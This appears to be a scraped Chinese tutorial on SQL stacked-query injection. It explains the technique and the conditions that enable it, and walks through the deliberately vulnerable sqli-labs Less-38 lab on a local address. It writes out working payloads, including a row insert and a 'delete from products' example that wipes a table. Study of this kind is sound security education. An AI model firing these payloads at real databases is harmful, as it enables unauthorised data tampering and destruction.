SQL注入之堆叠注入(sql

您所在的位置:网站首页 inside第几关开始付费 SQL注入之堆叠注入(sql

SQL注入之堆叠注入(sql

#SQL注入之堆叠注入(sql| 来源: 网络整理| 查看: 265

什么是堆叠注入

在SQL中,分号(;)是用来表示一条SQL语句结束的。试想一下我们在分号结束一个SQL语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而堆叠注入可以执行的是任意语句(增删改查)。 在这里插入图片描述

例如以下这个例子: 用户输入:1; delete from products服务器端生成的SQL语句为:select * from products where productid=1; delete from products当执行查询之后,第一条显示查询信息,第二条则是将整个表删除。

适用条件 用户采用PDO编程( POD(PHP Data Object))且没有对参数进行过滤 mysqli_multi_query()函数也可以造成堆叠注入 在这里插入图片描述

堆叠注入的过程

1、找到注入点(确定是否存在堆叠注入) 2、开始注入

我们本次尝试的语句: 1’;insert into users(id,username,password) values(‘100’,‘abc’,‘abc’) --+

这里以sql-lab第38关为例

http://192.168.3.10/sqli/Less-38/?id=1——》有回显 http://192.168.3.10/sqli/Less-38/?id=1’ --+ ——》仍然有回显 基本可以判断它是一个字符型

在没有插入之前,利用phpstudy后台的命令行先查看表中有哪些数据 在这里插入图片描述

尝试堆叠注入: http://192.168.3.10/sqli/Less-38/?id=1’;insert into users(id,username,password) values(‘10000’,‘abcd’,‘abcd’) --+

插入后再查看一下:发现插入了id=10000的数据 在这里插入图片描述 当把insert into 语句 改成delete语句就可以把users表删掉,所以堆叠注入危害很大。

堆叠注入代码分析 Less-38 **stacked Query** Welcome;;; Dhakkan


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3